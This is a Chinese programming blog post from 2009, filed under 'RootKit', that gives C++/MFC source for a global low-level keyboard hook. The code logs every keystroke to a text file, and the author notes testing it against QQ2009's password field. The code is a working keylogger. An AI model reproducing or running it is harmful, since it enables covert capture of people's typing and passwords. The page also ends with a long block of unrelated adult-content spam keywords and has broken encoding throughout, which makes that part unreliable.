• <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>

            S.l.e!ep.¢%

            像打了激速一樣,以四倍的速度運(yùn)轉(zhuǎn),開心的工作
            簡(jiǎn)單、開放、平等的公司文化;尊重個(gè)性、自由與個(gè)人價(jià)值;
            posts - 1098, comments - 335, trackbacks - 0, articles - 1
              C++博客 :: 首頁 :: 新隨筆 :: 聯(lián)系 :: 聚合  :: 管理

            About ShutDown of Windows(三)

            Posted on 2009-11-17 09:12 S.l.e!ep.¢% 閱讀(183) 評(píng)論(0)  編輯 收藏 引用 所屬分類: RootKit
            接著 About ShutDown of Windows(二) ?繼續(xù),將代碼繼續(xù)改進(jìn)

            HHOOK?g_Hook;

            LRESULT?CALLBACK?MyKeyHook(
            int?code,?WPARAM?wParam,?LPARAM?lParam)
            {
            #if?(_WIN32_WINNT?<?0x0400)
            /*
            ?*?Structure?used?by?WH_KEYBOARD_LL
            ?
            */
            typedef?
            struct?tagKBDLLHOOKSTRUCT?{
            ????DWORD???vkCode;
            ????DWORD???scanCode;
            ????DWORD???flags;
            ????DWORD???time;
            ????DWORD???dwExtraInfo;
            }?KBDLLHOOKSTRUCT,?FAR?
            *LPKBDLLHOOKSTRUCT,?*PKBDLLHOOKSTRUCT;
            #endif

            ????PKBDLLHOOKSTRUCT?kbDLLHOOK?
            =?(PKBDLLHOOKSTRUCT)lParam;
            ????
            ????
            const?char?*info?=?NULL;
            ????
            ????
            if?(wParam?==?WM_KEYDOWN)
            ????????info?
            =?"key?down";????
            ????
            else?if?(wParam?==?WM_KEYUP)
            ????????info?
            =?"key?up";
            ????
            else?if?(wParam?==?WM_SYSKEYDOWN)
            ????????info?
            =?"sys?key?down";????
            ????
            else?if?(wParam?==?WM_SYSKEYUP)
            ????????info?
            =?"sys?key?up";

            ????FILE
            *?f?=?fopen("hook.txt",?"a+");

            ????CString?strLog;
            ????strLog.Format(
            "%s?-?vkCode?[%04x],?[%c]?scanCode?[%04x]\n",?info,?kbDLLHOOK->vkCode,?kbDLLHOOK->vkCode,?kbDLLHOOK->scanCode);

            ????fwrite(strLog,?
            1,?strLog.GetLength(),?f);
            ????fclose(f);

            ????
            //?always?call?next?hook
            ????return?CallNextHookEx(g_Hook,?code,?wParam,?lParam);
            }??????

            BOOL?CHookTestDlg::OnInitDialog()
            {
            ????CDialog::OnInitDialog();

            ????
            //?Add?"About"?menu?item?to?system?menu.

            ????
            //?IDM_ABOUTBOX?must?be?in?the?system?command?range.
            ????ASSERT((IDM_ABOUTBOX?&?0xFFF0)?==?IDM_ABOUTBOX);
            ????ASSERT(IDM_ABOUTBOX?
            <?0xF000);

            ????CMenu
            *?pSysMenu?=?GetSystemMenu(FALSE);
            ????
            if?(pSysMenu?!=?NULL)
            ????{
            ????????CString?strAboutMenu;
            ????????strAboutMenu.LoadString(IDS_ABOUTBOX);
            ????????
            if?(!strAboutMenu.IsEmpty())
            ????????{
            ????????????pSysMenu
            ->AppendMenu(MF_SEPARATOR);
            ????????????pSysMenu
            ->AppendMenu(MF_STRING,?IDM_ABOUTBOX,?strAboutMenu);
            ????????}
            ????}

            ????
            //?Set?the?icon?for?this?dialog.??The?framework?does?this?automatically
            ????
            //??when?the?application's?main?window?is?not?a?dialog
            ????SetIcon(m_hIcon,?TRUE);????????????//?Set?big?icon
            ????SetIcon(m_hIcon,?FALSE);????????//?Set?small?icon
            ????
            ????
            //?TODO:?Add?extra?initialization?here
            #ifndef?WH_KEYBOARD_LL
            ????
            #define?WH_KEYBOARD_LL?13
            #endif
            ????
            ????g_Hook?
            =?SetWindowsHookEx(WH_KEYBOARD_LL,?MyKeyHook,?AfxGetApp()->m_hInstance,?0);
            ????
            ????
            if(?g_Hook?==?NULL?)
            ????????AfxMessageBox(
            "Failed?to?Set?Hook");
            ????
            ????
            return?TRUE;??//?return?TRUE??unless?you?set?the?focus?to?a?control
            }

            已經(jīng)實(shí)現(xiàn)了HOOK鍵盤消息(題外話:對(duì)于普通的程序確實(shí)可行,但對(duì)于QQ2009的PwdEdit顯示出來的東西是不對(duì)的,明顯QQ2009的PwdEdit對(duì)消息加密過)

            用 SysCheck 工具查看,這個(gè)EXE也并沒有注入到其它進(jìn)程

            MSDN的解釋
            WH_KEYBOARD_LL
            Windows NT/2000/XP: Installs a hook procedure that monitors low-level keyboard input events. For more information, see the LowLevelKeyboardProc hook procedure.

            If the input comes from a call to keybd_event, the input was "injected". However, the WH_KEYBOARD_LL hook is not injected into another process. Instead, the context switches back to the process that installed the hook and it is called in its original context. Then the context switches back to the application that generated the event.

            ???????? 一般情況下,全局消息鉤子要依賴于一個(gè)DLL才能夠正常工作。

            但實(shí)際上不是這樣的。有某些全局鉤子可以不依賴于任何DLL而正常工作的。這些鉤子包括,WH_JOURNALPLAYBACK,WH_JOURNALRECORD,WH_KEYBOARD_LL,WH_MOUSE_LL。為什么這些鉤子可以不依賴于DLL而正常工作呢?我們可以從MSDN中得到答案,MSDN中對(duì)于這四種鉤子都這樣的描述“This hook is called in the context of the thread that installed it.”,翻譯成中文意思是鉤子函數(shù)的調(diào)用是在安裝鉤子的線程上下文中進(jìn)行的,說得更明白些,意思就是這些鉤子是在哪個(gè)線程當(dāng)中安裝的,其鉤子函數(shù)就在哪個(gè)線程中執(zhí)行。所以使用這四種鉤子是達(dá)不到代碼注入的效果的,當(dāng)然也就可以不依賴于任何DLL了。MSDN中只對(duì)個(gè)別鉤子指出了必須還是沒有必要使用DLL。



            亚洲中文字幕无码久久2017| 久久国产综合精品五月天| 久久乐国产综合亚洲精品| 久久99热这里只有精品66| 久久综合亚洲色HEZYO社区 | 久久99国产乱子伦精品免费| 精品免费tv久久久久久久| 九九热久久免费视频| 精品久久久久成人码免费动漫| 男女久久久国产一区二区三区| 97久久精品人人做人人爽| 中文无码久久精品| 国产L精品国产亚洲区久久| 久久久久亚洲av综合波多野结衣| 久久99精品国产自在现线小黄鸭| 日本久久久久久久久久| 情人伊人久久综合亚洲| 狠狠色丁香久久婷婷综合_中| 亚洲欧美日韩精品久久| 亚洲精品美女久久777777| 无码精品久久一区二区三区| 久久99国产精品久久99| 久久久久久综合网天天| 色婷婷久久久SWAG精品| 爱做久久久久久| 青青草原综合久久| 丰满少妇人妻久久久久久| 久久这里只有精品首页| 亚洲精品国产综合久久一线| 久久线看观看精品香蕉国产| 国产精品女同久久久久电影院| 精品伊人久久大线蕉色首页| 伊人久久大香线蕉精品不卡| 久久99国产精品成人欧美| 久久久精品免费国产四虎| 99久久成人国产精品免费| 亚洲国产另类久久久精品黑人| 久久精品亚洲AV久久久无码| 久久精品国产亚洲AV蜜臀色欲| 性做久久久久久久久老女人| 亚洲精品99久久久久中文字幕|